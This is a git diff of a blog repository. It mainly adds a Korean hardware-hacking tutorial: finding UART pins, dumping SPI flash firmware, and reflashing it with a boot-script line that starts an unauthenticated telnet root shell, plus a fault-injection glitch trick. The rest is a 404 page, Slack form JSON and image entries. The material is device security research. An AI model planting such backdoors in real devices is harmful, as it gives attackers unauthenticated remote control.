+ +데이터시트를 찾지 못한 이유로 SPI Flash 칩의 GND 핀 위치를 찾지 못할 수 있습니다. 해당 경우에는 멀티미터의 검은 리드선을 PCB의 구리 홀에 연결하고, 빨간 리드선을 각 UART 핀에 한번씩 연결하여 UART의 GND 핀을 찾을 수 있습니다.
+ +(1) MCU와 UART의 단락 상태 검사
+ +UART의 TX, RX핀은 MCU의 TX와 RX 핀과 연결되어 있습니다. 이를 이용해서 MCU의 TX와 RX 핀을 찾고 멀티미터 Conductivity 모드로 UART의 TX와 RX 핀을 찾을 수 있습니다.
+ + + +경우에 따라 MCU 위에 방열판이 덮고 있을 수 있습니다. MCU를 덮고 있는 방열판을 제거하고 MCU 칩 정보를 확인하여 데이터 시트를 검색합니다:
+ + + + + +UART 핀은 125번 핀과 126번 핀입니다. MCU의 기준점(사진의 빨간 동그라미)을 바탕으로 125번, 126번 핀의 실제 위치를 찾을 수 있습니다.
+ + + +이제 기기에 전원을 공급하지 않은 상태에서 멀티미터를 Conductivity 모드로 설정합니다. 검은색 리드선을 MCU의 RX에 고정하고 빨간색 리드선을 각 UART 핀에 연결했을 때, 부저음을 출력하는 핀이 UART의 RX 핀입니다. TX도 같은 방식으로 식별해봅시다.
+ +(2) 핀의 전압, 전류 측정
+ +이번에는 MCU의 데이터시트가 없어 RX와 TX를 찾지 못한 경우에 UART의 RX와 TX 핀을 식별할 수 있는 방법을 사용해봅시다.
+ +멀티미터를 DCV(직류전압) 모드로 설정한 후 검은색 프로브를 COM 단자, 빨간색 프로브를 V-Ω 단자에 연결합니다. 기기에 전원을 공급한 후, 검은색 리드선을 기기의 GND와 접촉하고, 빨간색 리드선은 식별하고자 하는 UART핀과 접촉하여 전압을 측정합니다.
+ + + +일반적으로 전압이 2.4V ~ 3.3V 사이를 지속적으로 변한다면 TX 핀, 전압이 0.0V이면 RX 핀입니다. TX 핀은 다양한 데이터를 송신하기 때문에 2.4V ~ 3.3V 사이에서 전압이 지속적으로 변합니다. RX 핀은 송신 행위 없이 데이터를 수신하는 역할만 수행하기 때문에 0.0V의 전압을 띄고 있습니다. 하지만 전원이 들어온 상태에서 TX와 RX의 전압을 측정할 때 노이즈가 발생하므로 경우에 따라 UART의 TX와 RX 전압이 거의 동일하게 측정됩니다.
+ +전압으로 TX와 RX를 구분할 수 없는 경우라면 전류를 측정하여 구분해봅니다. 멀티미터를 DCA(직류 전압) 모드로 설정한 후 검은색 프로브는 COM 단자에, 빨간색 프로브는 전류측정단자(~mA)에 연결합니다. 검은색 리드선은 기기의 GND와 접촉하고 빨간색 리드선은 식별대상 UART 핀에 접촉합니다. 기기에 전원을 공급한 후 측정되는 전류를 관찰합니다. 일반적으로 VCC, GND, RX는 전류가 흐르지 않고(0mA) TX의 경우에만 23mA~44mA 사이의 전류가 흐르고 있습니다.
+ +mode | +PIN1 | +PIN2 | +PIN3 | +PIN4 | +
---|---|---|---|---|
DCV | +0 V | +0 V | +3.25 V | +3.25 V | +
DCA | +0 mA | +0 mA | +23.4 mA | +- | +
+ | GND | +RX | +TX | +VCC | +
GND, TX, RX 핀을 모두 식별하였으니 UART 통신에 필요한 Baud Rate 개념을 알아야 합니다.
+ +Baud Rate는 1초에 전송할 수 있는 symbol3의 수입니다. 따라서 IoT 기기와 UART Serial 통신을 하기 위해서는 각 기기마다 사용하는 Baud Rate에 맞춰 통신 속도를 설정해야 합니다.
+ +아래는 UART에서 흔히 사용하는 Baud Rate 리스트입니다. 115200
이하 값을 주로 사용합니다.
Baud Rate | +
---|
4147200 | +
921600 | +
576000 | +
460800 | +
115200 | +
57600 | +
38400 | +
28800 | +
19200 | +
9600 | +
4800 | +
2400 | +
1200 | +
Baud Rate 개념까지 알았으니 다음으로는 USB to TTL을 통해 UART Serial 통신을 해봅시다.
+ +위의 값들이 아닌 다른 Baud Rate 값을 사용한다면, Logical Analyzer를 사용하거나 기기 이름의 buad rate에 대해 검색하는 등의 방법을 사용할 수 있습니다.
+ +본 항목에서는 Mac 환경에서의 UART 연결 방법에 대해서 다루겠습니다. Serial 통신 콘솔을 위해 minicom 프로그램을 사용합니다.
+ +점퍼 케이블을 사용해 USB to TTL의 케이블을 UART핀에 연결 합니다. 각 케이블의 역할은 아래와 같습니다.
+ +케이블 색 | +USB to TTL 핀 | +UART 핀 | +
---|---|---|
검은색 | +GND | +GND | +
흰색 | +RX | +TX | +
청록색 | +TX | +RX | +
연결 시 UART의 TX 핀에는 USB to TTL의 RX 케이블을, UART RX 핀에는 USB to TTL의 TX 케이블을 연결하도록 주의해야 합니다. IoT 기기에서 송신한 데이터를 USB to TTL이 수신하고, USB to TTL이 송신한 데이터를 IoT 기기가 수신하기 때문입니다.
+ + + +USB to TTL의 USB 포트는 PC에 연결합니다. lsusb
명령어를 사용해서 USB to TTL이 PC에 제대로 연결되었는지 확인할 수 있습니다. minicom의 Serial 장치를 설정하기 위해 ls /dev | grep usb
명령어로 연결된 USB to TTL의 장치 이름을 확인합니다.
USB to TTL의 장치 이름을 알았으니 minicom -s
명령어로 UART 통신을 설정합니다. Serial 장치를 설정하고 Baud Rate를 38400
으로 설정하여 UART 통신 시 출력이 제대로 되는지 확인합니다. 만약 출력 결과를 읽을 수 없다면 Baud Rate를 바꿔가면서 정확한 값을 구할 수 있습니다.
Baud Rate을 바꿔줄 때마다 장치 재부팅이 필요합니다. 부트 로그가 UART로 모두 출력되었다면 더 이상 출력할 데이터가 없습니다. 이 때문에 재부팅 없이 Baud Rate 값만 바꿔주면 값이 올바른지 여부가 의심스럽습니다. 따라서 Baud Rate 테스트를 진행할 때 기기를 재부팅해야 모든 부트 로그를 확인할 수 있습니다.
+ + + +확인 결과 부트로그가 제대로 출력 되었습니다.
+ +본 항목에서는 Windows 환경에서 UART를 연결해보겠습니다. Serial 통신을 위해서 PuTTY 프로그램을 사용한다는 점이 Mac 환경과 다릅니다.
+ +USB to TTL의 점퍼 케이블을 IoT 기기의 UART에 연결한 후 PC에 USB를 연결합니다. 내 컴퓨터 > 장치관리자
의 포트
탭에서 USB to TTL이 PC에 올바르게 인식되는지 확인할 수 있습니다. PuTTY의 Serial line을 설정하기 위해 인식된 USB to TTL 장치의 이름을 확인합니다. (만약 포트 탭에 장치가 인식되지 않는다면, 기타 장치 탭을 확인해봅시다. 기타 장치로 인식되었다면 드라이버를 설치해야 합니다.)
Serial 장치를 설정한 후 정확한 Baud Rate 값을 구합니다. UART 통신을 모두 설정하였다면 IoT 기기의 전원을 공급하여 부팅 시 로그가 출력 되는지 확인합니다.
+ + + + + +SPI 통신을 이해하기 위해서는 먼저 I2C 통신을 알아야 합니다. I2C(Inter-Integrated Circuit)는 2개의 직렬 버스로 여러 디바이스와 통신할 수 있는 프로토콜입니다. 한 개의 Master 디바이스와 여러 Slave 디바이스로 구성될 수 있습니다. 2개의 직렬 버스 중 SDA 선은 시리얼 데이터를 송수신하는 버스이고, SCL 선은 Master가 생성한 기준 클럭을 전송하는 버스입니다. 따라서 Master 디바이스에서 기준 클럭을 생성하고 해당 클럭에 맞춰서 I2C 통신에서는 반이중(Half-Duplex) 방식으로 시리얼 데이터를 송수신하게 됩니다.
+ + + +SPI(Serial Peripheral Interface)는 I2C 통신 방식과 비슷한 방식이며, MCU와 주변 회로 간 통신에서 가장 널리 사용되는 통신 방식입니다. SPI 통신은 I2C 통신과 다르게 전이중(Full-Duplex) 방식으로 시리얼 데이터를 송수신합니다. 또한 MOSI 선, MISO 선, Clock 선과 SS 선이 사용됩니다.
+ +SS, CS(Slave Select, Chip Select) 선 : 여러 Slave 디바이스 중 통신을 위해 시리얼 데이터를 보낼 경로를 결정하는 신호 선
+ +Master 디바이스가 Slave 디바이스로 시리얼 데이터를 전송하면, Slave 디바이스의 Shift Register 데이터는 1 클럭 당 1 비트의 시리얼 데이터가 MSB(Most Significant Bit) 혹은 LSB(Least Significant Bit) 방식으로 shift 되어 데이터가 저장되는 구조로 동작합니다.
+일반적으로 MCU는 부팅 단계에서 SPI Flash 칩과 통신하여 펌웨어를 얻습니다. 우리는 동일한 방법을 통해서 SPI Flash 칩으로부터 펌웨어를 얻으려고 합니다. 따라서 SPI Flash 칩의 데이터 시트를 참고하여 SPI 통신에 필요한 정보를 수집해야 합니다.
+ +저희는 flashrom4 프로그램을 사용할 것입니다. flashrom은 Flash 칩을 식별하여 reading, writing, verifying, erasing 등의 작업을 수행해주는 유틸리티 프로그램입니다. 476개 이상의 Flash 칩, 291개의 칩셋, 500개의 메인보드 등과 통신할 수 있습니다. 따라서 SPI Flash 칩의 데이터시트에 명시된 명령어들을 몰라도 flashrom 명령어를 통해 읽기, 쓰기 등의 작업을 수행할 수 있습니다.
+ +최신 버전의 flashrom을 라즈베리파이에 빌드하여 사용합니다.
+ +SPI Flash 칩의 데이터시트에서 핀 맵을 확인합니다. 이를 라즈베리파이의 SPI 핀과 매핑합니다.
+ +데이터 시트를 참고하여 암-암 점퍼 케이블로 라즈베리파이와 SOIC-CLIP을 연결해줍니다.
+ +사용 장비 | +역할 | +
---|---|
POMONA SOIC-CLIP | +점퍼케이블로 8 PIN SOIC와 연결할 수 있게 해준다. | +
라즈베리파이 | +flashrom을 실행하여 flash memory와 통신 | +
분석용 PC | +라즈베리파이에 접속(ssh) | +
펌웨어 추출 과정
+ +분석용 PC와 라즈베리파이를 같은 네트워크 대역에 연결한 후, PC에서 라즈베리파이에 접속합니다.
+ +$ ssh user@xxx.xxx.xxx.xxx
+
라즈베리파이에서 flashrom을 이용해 firmware를 추출합니다.
+ +$ sudo flashrom -p linux_spi:dev=/dev/spidev0.0 -r [filename]
+
추출한 펌웨어를 binwalk를 이용해서 분석합니다. binwalk는 펌웨어와 같은 바이너리 파일의 구조을 분석하고, 펌웨어에 포함된 파일을 추출 및 압축 해제할 수 있는 도구입니다. binwalk는 파일 시그니처를 기반으로 바이너리 파일의 구조를 분석해줍니다.
+ +펌웨어 구조 확인
+ +$ binwalk [filename]
+
user@raspberrypi:~/ $ flashrom -p linux_spi:dev=/dev/spidev0.0 -r firmware.bin -c "EN25QH32B"
+flashrom 1.4.0-devel (git:v1.2-1386-g5106287e) on Linux 6.1.0-rpi6-rpi-v8 (aarch64)
+flashrom is free software, get the source code at https://flashrom.org
+
+Using clock_ gettime for delay loops (clk_id: 1, resolution: 1ns).
+Using default 2000kHz clock. Use 'spispeed' parameter to override.
+Found Eon flash chip "EN25QH32B" (4096 kB, SPI) on linux_spi.
+ニニニ
+This flash part has status UNTESTED for operations: WP
+The test status of this chip may have been updated in the latest development version of flashrom. If you are running the latest development version, please email a report to flashrom@flashrom.org if any of the above operations work correctly for you with this flash chip. Please include the flashrom log file for all operations you tested (see the man page for details), and mention which mainboard or programmer you tested in the subject line.
+Thanks for your help!
+Reading flash... done.
+
+user@raspberrypi:~/ $ binwalk firmware.bin
+DECIMAL HEXADECIMAL DESCRIPTION
+------------------------------------------------------------------------------
+5360 0x14F0 LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 60784 bytes
+65584 0x10030 gzip compressed data, maximum compression, from Unix, last modified: 2013-12-31 15:00:48
+141408 0x22860 LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 4119960 bytes
+1441792 0x160000 Squashfs filesystem, little endian, version 4.0, compression:xz, size: 2489160 bytes, 1364 inodes, blocksize: 131072 bytes, created: 2021-04-19 03:14:42
+
추출된 결과의 상단에는 LZMA, gzip으로 압축된 파일들이 보이고, 그 밑에 SquashFS filesystem이 파일을 확인할 수 있습니다. SquashFS는 경량 리눅스 디바이스에서 사용하는 읽기 전용 파일시스템으로, 여러 파일과 디렉토리를 단일 파일에 압축하여 저장할 수 있습니다.
+ +offset을 확인했을 때 앞부분부터 끝까지 잘 식별한 걸 보니, 펌웨어가 잘 추출된 것 같습니다. 만약 펌웨어를 제대로 읽지 못했다면, 3.4. Desoldering 과정으로 진행합니다.
+ +여기서는 땜납을 녹여 직접 SPI Flash 칩을 떼어낸 후 펌웨어를 추출하겠습니다. 3.2. 과정에서 펌웨어 추출에 성공하였다면, Desoldering 과정은 생략하여도 괜찮습니다.
+ +장비 | +역할 | +
---|---|
Heat gun | +뜨거운 바람으로 납을 녹인다. | +
SOP8 - DIP8 변환 소켓 | +8핀 flash chip의 핀을 점퍼케이블(DIP) 핀 규격으로 변환해주는 어댑터 | +
라즈베리파이 | +flashrom을 실행하여 flash memory와 통신 | +
분석용 PC | +라즈베리파이에 접속(ssh) | +
핀셋 | +Flash 칩을 PCB 기판에서 분리할 때 사용. 없어도 괜찮지만 있으면 매우 편리하다. | +
SPI Flash 칩을 PCB 기판에서 떼어낸 후 펌웨어를 추출하는 이유는 PCB 기판의 노이즈를 줄여 펌웨어를 정상적으로 추출하기 위해서 입니다.
+ +히트건으로 납을 데워 녹이고(저희는 온도 380도, 바람세기 6으로 설정하였습니다), 핀셋으로 SPI Flash 칩을 들어내면 PCB 기판으로부터 분리할 수 있습니다.
+ +분리한 SPI Flash 칩을 SOP8-DIP8 변환 소켓에 꽂아주고, 암-암 점퍼케이블을 사용해 라즈베리파이와 연결합니다. 이후 과정은 3.3. SOIC Test-Clip 사용 - 펌웨어 추출 과정과 동일하게 진행합니다.
+ +성공적으로 firmware.bin
이름의 펌웨어 파일을 획득했습니다. 본 항목에서는 펌웨어의 파일시스템만 추출할 것입니다.
user@raspberrypi:~/ $ binwalk firmware.bin
+DECIMAL HEXADECIMAL DESCRIPTION
+------------------------------------------------------------------------------
+5360 0x14F0 LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 60784 bytes
+65584 0x10030 gzip compressed data, maximum compression, from Unix, last modified: 2013-12-31 15:00:48
+141408 0x22860 LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 4119960 bytes
+1441792 0x160000 Squashfs filesystem, little endian, version 4.0, compression:xz, size: 2489160 bytes, 1364 inodes, blocksize: 131072 bytes, created: 2021-04-19 03:14:42
+
binwalk 명령어의 분석 결과에서 파일시스템을 찾고, 파일시스템 시작 offset과 size를 확인합니다. 파일시스템의 offset에 맞춰, dd
명령어로 파일시스템을 추출할 수 있습니다. skip은 추출하려는 파일의 시작 오프셋, count는 크기를 의미합니다. skip값과 count값은 10진수로 전달해주어야 합니다.
$ dd if=./firmware.bin of=./extract_squashfs skip=[1441792] bs=1 count=[2489160]
+
저희의 분석장비 펌웨어에서 사용하는 파일시스템은 SquashFS 파일시스템입니다. 따라서 squashfs-tools를 사용하여 분석을 진행하겠습니다.
+ +firmware.bin
파일을 skip부터 count까지를 추출하여 extract_squashfs
로 저장하였습니다.
unsquashfs를 사용해서 파일시스템을 마운트합니다.
+ +$ sudo apt install squashfs-tools
+$ sudo unsquashfs ./extract_squashfs
+
위 과정을 통해 파일시스템의 squashfs-root
를 획득하였습니다!
여기서 기기가 부팅된 후 초기에 실행되는 코드를 조작해보겠습니다.
+ +기기가 부팅될 때 가장 처음 실행되는 코드를 찾아봅시다. 보통은 /etc/init.d
에 위치한 rcS
가 가장 먼저 실행됩니다. 저희 분석 장비에서는 /default/rcS
입니다.
해당 파일의 제일 마지막줄에 원하는 명령어를 추가해볼겁니다.
+ +/bin
/sbin
/usr/bin
/usr/sbin
에서 사용 가능한 명령어들을 찾아봅시다. 제일 관심 있는 명령어는 telnet
이나 telnetd
입니다.
/default/rcS
마지막줄에 아래 명령어를 추가합니다.
/usr/sbin/telnetd -l /bin/sh
+
이 명령어가 실행되면 부팅 후 telnet을 통해 /bin/sh
에 접속할 수 있을 것입니다.
이제 우리가 삽입한 코드를 원본 파일시스템에 패치합니다.
+ +$ sudo mksquashfs squashfs-root squashfs_patched -comp xz
+
hex editor를 사용해 펌웨어의 파일시스템 영역을 조작한 파일 시스템으로 바꾸겠습니다. 파일시스템이 조작된 펌웨어를 firmware_patched.bin
으로 저장합니다.
조작한 펌웨어인 firmware_patched.bin
을 기기의 SPI Flash 칩에 다시 써주면 완성입니다.
$ sudo flashrom -p linux_spi:dev=/dev/spidev0.0 -w firmware_patched.bin
+
앞서 SPI Flash 칩을 디솔더링하여 분리하였다면 부팅을 위해 다시 기기의 PCB 기판에 연결해야합니다.
+ +장비 | +역할 | +
---|---|
솔더 페이스트 | +Flux를 포함하고 있어 납의 칙소성을 높여준다. | +
인두기 | +납을 데워서 녹인다. | +
납실 | +PCB와 Flash memory를 결합하여 고정한다. | +
면봉 | +납땜 후 잔여물을 닦아내는 데 사용한다. | +
솔더 페이스트를 PCB 기판 위에 바르고 그 위에 인두기로 납을 녹여서 문지르면 납이 동그랗고 예쁘게 올라갑니다. SPI Flash 칩을 원위치에 올리고, 열풍기로 납을 살짝 녹여 리솔더링을 해줍니다.
+ + + + + +Fault Injection이라고도 하는 글리칭은 제조 시의 한계를 벗어나는 조건으로 공격 대상 장치에서 고장을 유발합니다. 이를 통해 인증 우회, 미인가된 코드 접근, 로직 값 변경, 장치의 종료 또는 재시작 등의 결과를 이끌어냅니다. 글리칭 공격 방법에는 여러 가지가 있는데, 전압 글리칭, 클록 글리킹, 전자기 폴트 인젝션, 광학 폴트 인젝션이 그 예시입니다.
+ +이 중 별도의 장비 없이 수-수 점퍼케이블로 해볼 수 있는 Serial Data Output Fault Injection을 수행해보겠습니다. 이 방법은 MCU가 펌웨어를 얻지 못하는 오류를 유발하는 공격입니다. 부팅 중 MCU가 펌웨어를 얻지 못했을 때의 결과가 제조사마다 다르고, 정교한 오류상태를 주입하는 것이 아니기 때문에 성공률이 높지 않은 편입니다.
+ + + + + +우선, 데이터시트를 참고하여 SPI Flash 칩의 Serial Data Output 핀과 GND 핀의 위치를 알아냅니다. 그리고 SPI Flash 칩의 Data Output 핀과 GND 핀을 수-수 점퍼 케이블로 연결합니다. MCU가 SPI Flash로 펌웨어를 요청했을 때의 output 데이터가 MCU가 아닌 GND 핀으로 빠지고, 결과적으로 MCU가 펌웨어를 제대로 얻지 못하게 됩니다.
+ + + +UART를 연결한 상태에서 Serial Data Output Faul Injection 공격을 수행하였고, 부팅이 정상적으로 이루어지지 않은 결과로 부트 로더의 쉘에 접근이 가능해졌습니다.
+ +부트 로더의 Memory Reading을 통해 펌웨어를 추출할 수 있습니다.
+ +본 과정을 거쳐 기기의 원본 펌웨어를 얻을 수 있었고, 원격으로 쉘 접속이 가능해졌습니다. 따라서 취약점을 디버깅하기에 수월한 환경 구성이 끝나게 되었습니다.
+ +본 글 작성을 도와주신 김도현 팀장님과 임원빈 선임연구원님, 구본근 선임연구원님을 비롯한 선제대응팀 팀원분들께 감사드립니다.
+ +모두 즐거운 하드웨어 해킹하세요!👽
+ +[각주]
+ +Printed Curcit Board, 인쇄회로조립체 ↩
+일반적으로 검은색 선은 (-), 빨간색 선은 (+)이다. 따라서 검은색 리드선을 GND에 연결한다. ↩
+symbol, 의미있는 데이터 묶음 ↩
+칩에 접근하는 모든 작업에 -p
또는 --programmer
옵션을 사용해야 한다.
-p <programmername>[:<parameters>]
linux_spi
(for SPI flash ROMs accessible via /dev/spidevX.Y on Linux)-r
, --read <file>
-w
, --write <file>
-c
, -chip <chipname>
↩
Page not found :(
+The requested page could not be found.
+This is the base Jekyll theme. You can find out more info about customizing your Jekyll theme, as well as basic Jekyll usage documentation at jekyllrb.com
+ +You can find the source code for Minima at GitHub: +jekyll / +minima
+ +You can find the source code for Jekyll at GitHub: +jekyll / +jekyll
+ + ++ { + "blocks": [ + { + "type": "actions", + "block_id": "vacation_request_list", + "elements": [ + { + "action_id": "select_modal_vacation_request_list", + "type": "static_select", + "placeholder": { + "type": "plain_text", + "text": "요청 유형 선택" + }, + "options": [ + { + "text": { + "type": "plain_text", + "text": "휴가" + }, + "value": "vacation" + }, + { + "text": { + "type": "plain_text", + "text": "반차" + }, + "value": "half_vacation" + }, + { + "text": { + "type": "plain_text", + "text": "반반차" + }, + "value": "quarter_vacation" + }, + { + "text": { + "type": "plain_text", + "text": "병가" + }, + "value": "sick_vacation" + }, + { + "text": { + "type": "plain_text", + "text": "외출" + }, + "value": "outing" + } + ] + } + ] + }, + { + "type": "section", + "block_id": "", + "text": { + "type": "mrkdwn", + "text": "*날짜 선택*" + } + }, + { + "type": "actions", + "block_id": "datepicker_select_period_block", + "elements": [ + { + "type": "datepicker", + "action_id": "datepicker_start_date_action", + "placeholder": { + "type": "plain_text", + "text": "Select start date" + } + }, + { + "type": "datepicker", + "action_id": "datepicker_end_date_action", + "placeholder": { + "type": "plain_text", + "text": "Select end date" + } + } + ] + }, + { + "type": "input", + "block_id": "reason_text_block", + "element": { + "type": "plain_text_input", + "action_id": "reason_text_action" + }, + "label": { + "type": "plain_text", + "text": "사유" + } + }, + { + "type": "section", + "block_id": "confirm_datetime_block", + "text": { + "type": "mrkdwn", + "text": "*날짜 확인*\n`시작 날짜 선택 안됨`" + } + } + ] + } +\ No newline at end of file diff --git "a/docs/assets/2021-07-13-Slackbot\354\235\204-\355\231\234\354\232\251\355\225\234-ERP-\354\213\234\354\212\244\355\205\234-\352\265\254\354\266\225/slackbot.png" "b/docs/assets/2021-07-13-Slackbot\354\235\204-\355\231\234\354\232\251\355\225\234-ERP-\354\213\234\354\212\244\355\205\234-\352\265\254\354\266\225/slackbot.png" new file mode 100644 index 0000000..f9e412c Binary files /dev/null and "b/docs/assets/2021-07-13-Slackbot\354\235\204-\355\231\234\354\232\251\355\225\234-ERP-\354\213\234\354\212\244\355\205\234-\352\265\254\354\266\225/slackbot.png" differ diff --git "a/docs/assets/2021-07-13-Slackbot\354\235\204-\355\231\234\354\232\251\355\225\234-ERP-\354\213\234\354\212\244\355\205\234-\352\265\254\354\266\225/thirdparty.png" "b/docs/assets/2021-07-13-Slackbot\354\235\204-\355\231\234\354\232\251\355\225\234-ERP-\354\213\234\354\212\244\355\205\234-\352\265\254\354\266\225/thirdparty.png" new file mode 100644 index 0000000..7d1ded6 Binary files /dev/null and "b/docs/assets/2021-07-13-Slackbot\354\235\204-\355\231\234\354\232\251\355\225\234-ERP-\354\213\234\354\212\244\355\205\234-\352\265\254\354\266\225/thirdparty.png" differ diff --git "a/docs/assets/2021-07-13-Slackbot\354\235\204-\355\231\234\354\232\251\355\225\234-ERP-\354\213\234\354\212\244\355\205\234-\352\265\254\354\266\225/thumbnail.png" "b/docs/assets/2021-07-13-Slackbot\354\235\204-\355\231\234\354\232\251\355\225\234-ERP-\354\213\234\354\212\244\355\205\234-\352\265\254\354\266\225/thumbnail.png" new file mode 100644 index 0000000..b66ae04 Binary files /dev/null and "b/docs/assets/2021-07-13-Slackbot\354\235\204-\355\231\234\354\232\251\355\225\234-ERP-\354\213\234\354\212\244\355\205\234-\352\265\254\354\266\225/thumbnail.png" differ diff --git a/docs/assets/2021-07-29-malwareAPK.asset/11.png b/docs/assets/2021-07-29-malwareAPK.asset/11.png new file mode 100644 index 0000000..5681658 Binary files /dev/null and b/docs/assets/2021-07-29-malwareAPK.asset/11.png differ diff --git a/docs/assets/2021-07-29-malwareAPK.asset/12.png b/docs/assets/2021-07-29-malwareAPK.asset/12.png new file mode 100644 index 0000000..8dcd48c Binary files /dev/null and b/docs/assets/2021-07-29-malwareAPK.asset/12.png differ diff --git a/docs/assets/2021-07-29-malwareAPK.asset/13.png b/docs/assets/2021-07-29-malwareAPK.asset/13.png new file mode 100644 index 0000000..a49ffd4 Binary files /dev/null and b/docs/assets/2021-07-29-malwareAPK.asset/13.png differ diff --git a/docs/assets/2021-07-29-malwareAPK.asset/14.png b/docs/assets/2021-07-29-malwareAPK.asset/14.png new file mode 100644 index 0000000..5737ae5 Binary files /dev/null and b/docs/assets/2021-07-29-malwareAPK.asset/14.png differ diff --git a/docs/assets/2021-07-29-malwareAPK.asset/15.png b/docs/assets/2021-07-29-malwareAPK.asset/15.png new file mode 100644 index 0000000..83fd0a2 Binary files /dev/null and b/docs/assets/2021-07-29-malwareAPK.asset/15.png differ diff --git a/docs/assets/2021-07-29-malwareAPK.asset/16.png b/docs/assets/2021-07-29-malwareAPK.asset/16.png new file mode 100644 index 0000000..e0163dd Binary files /dev/null and b/docs/assets/2021-07-29-malwareAPK.asset/16.png differ diff --git a/docs/assets/2021-07-29-malwareAPK.asset/18.png b/docs/assets/2021-07-29-malwareAPK.asset/18.png new file mode 100644 index 0000000..61495bf Binary files /dev/null and b/docs/assets/2021-07-29-malwareAPK.asset/18.png differ diff --git a/docs/assets/2021-07-29-malwareAPK.asset/19 1.png b/docs/assets/2021-07-29-malwareAPK.asset/19 1.png new file mode 100644 index 0000000..d91663a Binary files /dev/null and b/docs/assets/2021-07-29-malwareAPK.asset/19 1.png differ diff --git a/docs/assets/2021-07-29-malwareAPK.asset/19.png b/docs/assets/2021-07-29-malwareAPK.asset/19.png new file mode 100644 index 0000000..c8ef376 Binary files /dev/null and b/docs/assets/2021-07-29-malwareAPK.asset/19.png differ diff --git a/docs/assets/2021-07-29-malwareAPK.asset/20.png b/docs/assets/2021-07-29-malwareAPK.asset/20.png new file mode 100644 index 0000000..ddc2b25 Binary files /dev/null and b/docs/assets/2021-07-29-malwareAPK.asset/20.png differ diff --git a/docs/assets/2021-07-29-malwareAPK.asset/23.png b/docs/assets/2021-07-29-malwareAPK.asset/23.png new file mode 100644 index 0000000..477cfd0 Binary files /dev/null and b/docs/assets/2021-07-29-malwareAPK.asset/23.png differ diff --git a/docs/assets/2021-07-29-malwareAPK.asset/26.png b/docs/assets/2021-07-29-malwareAPK.asset/26.png new file mode 100644 index 0000000..9fb7b3f Binary files /dev/null and b/docs/assets/2021-07-29-malwareAPK.asset/26.png differ diff --git a/docs/assets/2021-07-29-malwareAPK.asset/29.png b/docs/assets/2021-07-29-malwareAPK.asset/29.png new file mode 100644 index 0000000..d5b2d24 Binary files /dev/null and b/docs/assets/2021-07-29-malwareAPK.asset/29.png differ diff --git a/docs/assets/2021-07-29-malwareAPK.asset/3 1.png b/docs/assets/2021-07-29-malwareAPK.asset/3 1.png new file mode 100644 index 0000000..5bc4350 Binary files /dev/null and b/docs/assets/2021-07-29-malwareAPK.asset/3 1.png differ diff --git a/docs/assets/2021-07-29-malwareAPK.asset/3.png b/docs/assets/2021-07-29-malwareAPK.asset/3.png new file mode 100644 index 0000000..033f37b Binary files /dev/null and b/docs/assets/2021-07-29-malwareAPK.asset/3.png differ diff --git a/docs/assets/2021-07-29-malwareAPK.asset/32.png b/docs/assets/2021-07-29-malwareAPK.asset/32.png new file mode 100644 index 0000000..3d47aff Binary files /dev/null and b/docs/assets/2021-07-29-malwareAPK.asset/32.png differ diff --git a/docs/assets/2021-07-29-malwareAPK.asset/33.png b/docs/assets/2021-07-29-malwareAPK.asset/33.png new file mode 100644 index 0000000..8ae80d4 Binary files /dev/null and b/docs/assets/2021-07-29-malwareAPK.asset/33.png differ diff --git a/docs/assets/2021-07-29-malwareAPK.asset/34.png b/docs/assets/2021-07-29-malwareAPK.asset/34.png new file mode 100644 index 0000000..00229e9 Binary files /dev/null and b/docs/assets/2021-07-29-malwareAPK.asset/34.png differ diff --git a/docs/assets/2021-07-29-malwareAPK.asset/35.png b/docs/assets/2021-07-29-malwareAPK.asset/35.png new file mode 100644 index 0000000..5381ebc Binary files /dev/null and b/docs/assets/2021-07-29-malwareAPK.asset/35.png differ diff --git a/docs/assets/2021-07-29-malwareAPK.asset/4.png b/docs/assets/2021-07-29-malwareAPK.asset/4.png new file mode 100644 index 0000000..09a4ecc Binary files /dev/null and b/docs/assets/2021-07-29-malwareAPK.asset/4.png differ diff --git a/docs/assets/2021-07-29-malwareAPK.asset/40.png b/docs/assets/2021-07-29-malwareAPK.asset/40.png new file mode 100644 index 0000000..eed4aa2 Binary files /dev/null and b/docs/assets/2021-07-29-malwareAPK.asset/40.png differ diff --git a/docs/assets/2021-07-29-malwareAPK.asset/41.png b/docs/assets/2021-07-29-malwareAPK.asset/41.png new file mode 100644 index 0000000..fcb49a5 Binary files /dev/null and b/docs/assets/2021-07-29-malwareAPK.asset/41.png differ diff --git a/docs/assets/2021-07-29-malwareAPK.asset/45.png b/docs/assets/2021-07-29-malwareAPK.asset/45.png new file mode 100644 index 0000000..e1c3fb2 Binary files /dev/null and b/docs/assets/2021-07-29-malwareAPK.asset/45.png differ diff --git a/docs/assets/2021-07-29-malwareAPK.asset/46.png b/docs/assets/2021-07-29-malwareAPK.asset/46.png new file mode 100644 index 0000000..1fa21a3 Binary files /dev/null and b/docs/assets/2021-07-29-malwareAPK.asset/46.png differ diff --git a/docs/assets/2021-07-29-malwareAPK.asset/48.png b/docs/assets/2021-07-29-malwareAPK.asset/48.png new file mode 100644 index 0000000..3ebaef5 Binary files /dev/null and b/docs/assets/2021-07-29-malwareAPK.asset/48.png differ diff --git a/docs/assets/2021-07-29-malwareAPK.asset/5 1.png b/docs/assets/2021-07-29-malwareAPK.asset/5 1.png new file mode 100644 index 0000000..6cb3b0f Binary files /dev/null and b/docs/assets/2021-07-29-malwareAPK.asset/5 1.png differ diff --git a/docs/assets/2021-07-29-malwareAPK.asset/5.png b/docs/assets/2021-07-29-malwareAPK.asset/5.png new file mode 100644 index 0000000..a3dd636 Binary files /dev/null and b/docs/assets/2021-07-29-malwareAPK.asset/5.png differ diff --git a/docs/assets/2021-07-29-malwareAPK.asset/50.png b/docs/assets/2021-07-29-malwareAPK.asset/50.png new file mode 100644 index 0000000..084d58f Binary files /dev/null and b/docs/assets/2021-07-29-malwareAPK.asset/50.png differ diff --git a/docs/assets/2021-07-29-malwareAPK.asset/51.png b/docs/assets/2021-07-29-malwareAPK.asset/51.png new file mode 100644 index 0000000..eb96b58 Binary files /dev/null and b/docs/assets/2021-07-29-malwareAPK.asset/51.png differ diff --git a/docs/assets/2021-07-29-malwareAPK.asset/7.png b/docs/assets/2021-07-29-malwareAPK.asset/7.png new file mode 100644 index 0000000..f847d1d Binary files /dev/null and 